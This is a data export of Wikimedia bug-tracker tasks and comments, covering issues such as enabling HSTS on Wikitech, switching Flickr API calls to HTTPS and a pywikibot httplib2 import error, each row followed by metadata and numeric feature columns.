+The page was loaded in ""Preview mode"" so that I could edit an incorrect anchor. Then, with each edit, I re-clicked on Preview for not wanting to constantly use ""Save"". I considered that this problem relates to the time of the day (high rate of usage according to my ISP).
+
+Today, I tried again on one of the above pages, unfortunately I didn't see the Firefox ""Network"" stats but I am attaching the screenshot of the event.",,,1404343331,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-53,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+309016,Scripts run endlessly unless I stop it,"Created attachment 15819
+Script running
+
+**Attached**: {F14112}",,,1404343265,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-53,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+309012,Scripts run endlessly unless I stop it,"* I use Firefox 30 on Fedora 20.
+* I've set https://en.wikisource.org/wiki/Special:Preferences#mw-prefsection-rendering to ""Modern"" skin. 
+* I go to https://en.wikisource.org/wiki/Page:Scheme_-_An_interpreter_for_extended_lambda_calculus.djvu/14
+-> No problems.
+
+How do you know that it ""runs endlessly""? What's the outcome? Do you want to imply that Firefox creates an ""Unresponsive script"" error message?
+
+Could you please open the ""Web Developer -> Network"" Tool and reload the page that you see the problem on? It should display how long a certain script takes.
+For more information please see: https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor",,,1404290867,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,True,,,-53,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+69303,Enable HSTS (HTTP Strict Transport Security) on Wikitech,"**Author:** `fn84b`
+
+**Description:**
+Wikitech requires HTTPS connections (http://wikitech.wikimedia.org redirects to https://wikitech.wikimedia.org), so could we send a Strict-Transport-Security header, so that browsers will automatically use HTTPS even if a link points to HTTP?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=38516",Needs Triage,90.0,1404137880,1406086442.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-j2mgvpubnvv6rfcdhoqj,task_description,resolved,True,c3,1,False,False,True,-53,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0
+316955,Enable HSTS (HTTP Strict Transport Security) on Wikitech,"**fn84b** wrote:
+
+https://gerrit.wikimedia.org/r/148290 fixed this issue.",,,1406086442,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j2mgvpubnvv6rfcdhoqj,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+316950,Enable HSTS (HTTP Strict Transport Security) on Wikitech,"Wikitech can use a different, easier implementation compared to bug 38516 (wikipedia, etc.). As HTTPS can not be disabled in the preferences and as there is no geoip based blacklist for avoiding HTTPS, HSTS can be enabled by always sending the header like the reporter suggested, e.g. via the webserver configuration. (Although we might be able to use the same implementation it still needs to be enabled as wikitech is completely separated.)
+
+The apache configuration for wikitech is at: operations/puppet.git/templates/apache/sites/wikitech.wikimedia.org.erb",,,1404204890,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-j2mgvpubnvv6rfcdhoqj,task_subcomment,,True,c3,1,True,,,-53,True,0,0,1,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+316944,Enable HSTS (HTTP Strict Transport Security) on Wikitech,"Hi fn84b. Thanks for taking the time to report this!
+This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.
+
+*** This bug has been marked as a duplicate of bug 38516 ***",,,1404151827,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j2mgvpubnvv6rfcdhoqj,task_subcomment,,True,c3,1,True,,,-53,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+69298,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","It seems like our Flickr API calls match the protocol that was used to access the UploadWizard page, which is mostly fine except when those API calls require SSL. Either we should handle that error message and retry with explicit SSL, use SSL where we know it's required, or just use SSL everywhere.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1404134460,1406106074.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-5dil3s4y3nycavag5tn5,task_description,resolved,True,c3,1,False,False,True,-53,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+316660,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 148593 merged by jenkins-bot:
+Remove flickrApiUrl from $wgUploadWizardConfig
+
+https://gerrit.wikimedia.org/r/148593",,,1406093865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+316655,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 148593 had a related patch set uploaded by Brian Wolff:
+Remove flickrApiUrl from $wgUploadWizardConfig
+
+https://gerrit.wikimedia.org/r/148593",,,1406087114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+316650,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it",Backported to REL1_23.,,,1404803404,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+316647,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144584 merged by jenkins-bot:
+Point to HTTPS URL for Flickr API
+
+https://gerrit.wikimedia.org/r/144584",,,1404768864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+316642,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144583 merged by jenkins-bot:
+Point to HTTPS URL for Flickr API
+
+https://gerrit.wikimedia.org/r/144583",,,1404768860,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+316638,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144582 merged by jenkins-bot:
+Point to HTTPS URL for Flickr API
+
+https://gerrit.wikimedia.org/r/144582",,,1404768853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+316633,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144584 had a related patch set uploaded by Gilles:
+Point to HTTPS URL for Flickr API
+
+https://gerrit.wikimedia.org/r/144584",,,1404768631,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+316628,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144583 had a related patch set uploaded by Gilles:
+Point to HTTPS URL for Flickr API
+
+https://gerrit.wikimedia.org/r/144583",,,1404768572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+316622,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144582 had a related patch set uploaded by Gilles:
+Point to HTTPS URL for Flickr API
+
+https://gerrit.wikimedia.org/r/144582",,,1404768343,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+316616,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","That fixed up the issue I had with the Jenkins job https://integration.wikimedia.org/ci/job/mediawiki-core-extensions-integration/66/testReport/(root)/ (search for flickr).
+
+Also fixed a pending patch for UploadWizard: https://gerrit.wikimedia.org/r/#/c/138183/
+
+
+All good to me. Thank you!",,,1404755416,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,True,,,-52,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+316612,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144448 merged by jenkins-bot:
+Point to HTTPS URL for Flickr API
+
+https://gerrit.wikimedia.org/r/144448",,,1404753115,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+316608,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144448 had a related patch set uploaded by MarkTraceur:
+Point to HTTPS URL for Flickr API
+
+https://gerrit.wikimedia.org/r/144448",,,1404751505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+316603,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it",*** Bug 67584 has been marked as a duplicate of this bug. ***,,,1404751485,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+316598,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it",Flickr => blocking bug 43450,,,1404210714,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,True,,,-53,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+69132,Create extensions component for GoogleLogin?,"Hello!
+
+is it possible to create a component in MW-Extensions for GoogleLogin, please?
+
+https://www.mediawiki.org/wiki/Extension:GoogleLogin
+
+Thanks for reply
+Florian
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1403789520,1403795876.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-3v73suzw5sck6sltuf55,task_description,resolved,True,c3,1,True,False,True,-53,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0
+308525,Create extensions component for GoogleLogin?,"TOP, thanks :)",,,1403796134,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-3v73suzw5sck6sltuf55,task_subcomment,,True,c3,1,True,,,-53,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+308520,Create extensions component for GoogleLogin?,"Yes! I've added the extension in Wikimedia Bugzilla and set you as default CC. I've also updated https://www.mediawiki.org/wiki/Extension:GoogleLogin to link to the list of bugs in the info box.
+
+Happy hacking!",,,1403795876,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3v73suzw5sck6sltuf55,task_subcomment,,True,c3,1,True,,,-53,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+68618,httplib2 dependency check doesnt work,"Running any script or entry point results in a backtrace.
+
+$ PYTHONPATH="".."" python scripts/basic.py
+Traceback (most recent call last):
+  File ""scripts/basic.py"", line 26, in <module>
+    import pywikibot
+  File "".../pywikibot/__init__.py"", line
+486, in <module>
+    from .page import Page, ImagePage, Category, Link, User, ItemPage,
+PropertyPage, Claim
+  File "".../pywikibot/page.py"", line 17,
+in <module>
+    import pywikibot.site
+  File "".../pywikibot/site.py"", line 31,
+in <module>
+    from pywikibot.data import api
+  File "".../pywikibot/data/api.py"", line
+13, in <module>
+    from pywikibot.comms import http
+  File "".../pywikibot/comms/http.py"",
+line 31, in <module>
+    from httplib2 import SSLHandshakeError
+ImportError: No module named httplib2
+
+Even invoking threadedhttp.py, which includes a dependency check, fails before the dependency check.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1402764360,1403533595.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-vvbioabs65y634i4id6v,task_description,resolved,True,c3,1,True,False,True,-55,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1
+297324,httplib2 dependency check doesnt work,"Change 139604 merged by jenkins-bot:
+Fix httplib2 dependency check
+
+https://gerrit.wikimedia.org/r/139604",,,1403448985,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvbioabs65y634i4id6v,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+297316,httplib2 dependency check doesnt work,"Change 139604 had a related patch set uploaded by devunt:
+Fix httplib2 dependency check
+
+https://gerrit.wikimedia.org/r/139604",,,1403238879,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvbioabs65y634i4id6v,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+297308,httplib2 dependency check doesnt work,"Change 139604 had a related patch set uploaded by John Vandenberg:
+(bug 66618) Fix httplib2 dependency check
+
+https://gerrit.wikimedia.org/r/139604",,,1402764907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvbioabs65y634i4id6v,task_subcomment,,True,c3,1,False,,,-55,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+68451,stop using Net:HTTP:Persistent?,"Reading the documentation and a cursory google search suggests that Net:HTTP:Persistent was useful for Ruby 1.8.x, but that the persistent function should be implemented automatically in Net:HTTP for 2.x. 
+
+In the meantime, this gem causes these sorts of errors: 
+too many connection resets (due to Timeout::Error - Timeout::Error) after 286 requests on 23958180, last used 60.017253158 seconds ago (Net::HTTP::Persistent::Error)
+
+We might be better off removing the Persistent gem for modern Ruby versions.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1402433460,1402588685.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-ud6uhnpiyjcvs722vm5e,task_description,resolved,True,c3,1,False,False,True,-56,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+302065,stop using Net:HTTP:Persistent?,Fixed in https://gerrit.wikimedia.org/r/#/c/139121/,,,1402588685,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-ud6uhnpiyjcvs722vm5e,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+302061,stop using Net:HTTP:Persistent?,Pairing with Chris on this.,,,1402585516,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-ud6uhnpiyjcvs722vm5e,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+68161,add option to set httplib2.debuglevel,"httplib2 has debugging capabilities (httplib2.debuglevel), which would be useful to control from the pywikibot config, and ideally capture its debug output into the pywikibot logging layer
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: enhancement",Needs Triage,90.0,1401948060,1433297797.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-75vs4oqju7l3q7ntzjqw,task_description,declined,True,c3,1,True,True,True,-56,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+514752,add option to set httplib2.debuglevel,https://github.com/jcgregorio/httplib2/issues/309,,,1440578174,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-75vs4oqju7l3q7ntzjqw,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+468052,add option to set httplib2.debuglevel,Switched to python-requests,,,1433297797,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-75vs4oqju7l3q7ntzjqw,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+300450,add option to set httplib2.debuglevel,"Re capturing the output
+
+http://blog.n01se.net/blog-n01se-net-p-218.html",,,1415501294,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-75vs4oqju7l3q7ntzjqw,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1
+67553,"Parsoid dead on BetaLabs (getting ""parsoidserver-http-bad-status: 503"" on VE load)","Getting the following while trying to load VE on Betalabs : Error loading data from server: parsoidserver-http-bad-status: 503
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1400617680,1400620161.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,,False,PHID-TASK-z47j727fj45rve5q5uwp,task_description,resolved,True,c3,1,False,False,True,-59,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
